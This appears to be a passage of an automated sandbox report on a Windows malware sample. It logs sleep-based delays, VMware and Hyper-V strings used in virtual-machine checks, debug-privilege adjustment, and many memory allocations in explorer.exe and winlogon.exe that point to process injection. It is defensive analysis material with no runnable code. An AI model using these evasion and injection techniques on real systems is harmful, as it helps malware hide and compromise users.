Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8008	Thread sleep count: 7284 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe TID: 8008	Thread sleep time: -7284000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000005.00000003.2213841197.0000000008C9E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&0000004
Source: explorer.exe, 00000005.00000003.3078024513.0000000008B78000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000002.3817558651.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000"
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3648952417.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.1360878216.0000000008A46000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: explorer.exe, 00000005.00000000.1358557558.00000000030F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: explorer.exe, 00000005.00000003.2211387274.0000000008CCB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000y@
Source: explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTroVMWare
Source: explorer.exe, 00000005.00000000.1360878216.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2210576179.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078024513.0000000008B38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: explorer.exe, 00000005.00000002.3827604325.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}-
Source: explorer.exe, 00000005.00000002.3817558651.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000R
Source: 5SGOAKv7AR.exe, 00000000.00000002.1354564894.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000005.00000002.3827604325.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.1358557558.00000000030F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001G
Source: explorer.exe, 00000005.00000002.3818820442.00000000031BA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Code function: 0_2_00403A19 mov eax, dword ptr fs:[00000030h]	0_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 1_2_00403A19 mov eax, dword ptr fs:[00000030h]	1_2_00403A19
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Code function: 3_2_00403A19 mov eax, dword ptr fs:[00000030h]	3_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe

0_2_00403A19

Source: C:\Users\user\Desktop\5SGOAKv7AR.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 33890000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8540000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8040000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8510000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 86E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9020000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9030000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: A520000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ADC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B0B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B0E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B5C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B5D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B680000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B660000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B670000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B690000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B6A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: B6B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C6E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C6F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E410000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E420000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 7790000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8360000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8400000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8410000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8420000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8EA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8EB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8EC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8EF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8ED0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8EE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9040000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BAC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BAD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BB00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BAE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BAF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BB20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: F60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BB10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BB30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E430000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E440000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E450000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E460000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E470000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E480000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E490000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E4A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E4B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E690000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E4E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E680000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E6F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E700000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E710000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E720000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E730000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E740000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E750000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E760000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E770000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E780000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E790000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E7A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E7B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 7FE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 86D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 86F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8300000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8F90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 8FF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9000000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9010000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9270000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9280000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9290000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 92F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9300000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9310000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9320000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9330000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9350000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9360000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9450000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9460000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9470000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9480000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9490000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 94A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 94B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 94E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 94F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 94D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9500000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9510000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9520000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9530000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9540000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BBC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BBD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BBE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BBF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BC90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BCA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BCB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BCC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BE00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BE10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BD70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BD80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BD90000 protect: page read and write	Jump to behavior
